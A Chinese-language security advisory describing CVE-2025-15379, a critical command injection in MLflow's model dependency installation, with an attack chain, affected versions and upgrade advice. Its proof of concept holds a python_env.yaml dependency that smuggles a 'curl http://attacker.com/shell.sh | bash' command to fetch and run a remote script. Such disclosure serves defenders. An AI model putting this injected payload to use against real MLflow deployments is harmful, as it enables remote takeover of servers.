IPBUF安全漏洞报告
English
CVE-2025-15379 CVSS 9.8 严重

CVE-2025-15379 MLflow 命令注入漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2025-15379
漏洞类型
命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MLflow

相关标签

命令注入RCEMLflowCVE-2025-15379机器学习安全

漏洞概述

MLflow是一个开源的机器学习生命周期管理平台。该漏洞存在于MLflow的模型服务容器初始化代码中的`_install_model_dependencies_to_env()`函数。当使用`env_manager=LOCAL`部署模型时,系统会从模型工件的`python_env.yaml`文件中读取依赖规范,并在未进行清理的情况下将其直接插入到Shell命令中。攻击者可以通过提供恶意的模型工件,在部署该模型的系统上实现任意命令执行。该漏洞CVSS评分为9.8,属于严重级别风险,无需身份认证且无需用户交互即可被利用。

技术细节

该漏洞的根本原因是MLflow在处理模型依赖安装时的输入验证缺失。具体而言,漏洞函数`_install_model_dependencies_to_env()`负责将模型环境所需的Python包安装到本地环境中。当攻击者控制了模型工件,并修改其中的`python_env.yaml`文件(例如在依赖名称中注入Shell元字符如`;`, `&`, `|`, `$()`等)时,MLflow会读取这些恶意配置并将其作为参数拼接到底层的Shell命令(如`pip install`)中执行。由于缺乏有效的过滤和转义机制,攻击者注入的命令将被操作系统Shell解析并执行。利用此漏洞无需任何身份认证,攻击者只需诱导受害者部署包含恶意`python_env.yaml`的模型,即可在服务器端获得远程代码执行权限,进而完全控制主机。

攻击链分析

STEP 1
1
攻击者准备一个包含恶意`python_env.yaml`文件的模型工件,在依赖字段中注入Shell命令。
STEP 2
2
攻击者将恶意模型上传至目标系统或诱导受害者使用该模型进行部署。
STEP 3
3
受害者使用MLflow部署该模型,并配置参数`env_manager=LOCAL`。
STEP 4
4
MLflow在初始化容器时调用`_install_model_dependencies_to_env()`函数解析YAML并执行拼接后的Shell命令。
STEP 5
5
注入的恶意命令在服务器端执行,攻击者获得系统权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2025-15379 # Attacker creates a malicious model artifact # 1. Create a python_env.yaml file with a malicious payload malicious_yaml_content = """ name: mlflow-env channels: - conda-forge dependencies: - pip: # Injecting a shell command using semicolon - "requests; curl http://attacker.com/shell.sh | bash" """ # 2. Place this file in the MLflow model artifact directory: # /path/to/model/MLmodel # /path/to/model/python_env.yaml (the malicious one) # 3. When MLflow serves this model with env_manager="LOCAL": # mlflow models serve -m /path/to/model --env-manager LOCAL # # The vulnerability triggers in _install_model_dependencies_to_env(), # executing the injected command.

影响范围

MLflow 3.8.0
MLflow 3.8.1
MLflow < 3.8.2

防御指南

临时缓解措施
建议立即将MLflow升级至3.8.2或更高版本以修复此漏洞。在无法立即升级的情况下,应严格验证模型来源,检查模型压缩包中的`python_env.yaml`文件内容,确保不包含异常字符或Shell命令。此外,尽量避免在生产环境中使用`env_manager=LOCAL`部署不受信任的模型,或使用严格的容器隔离技术限制部署环境的文件系统和网络访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表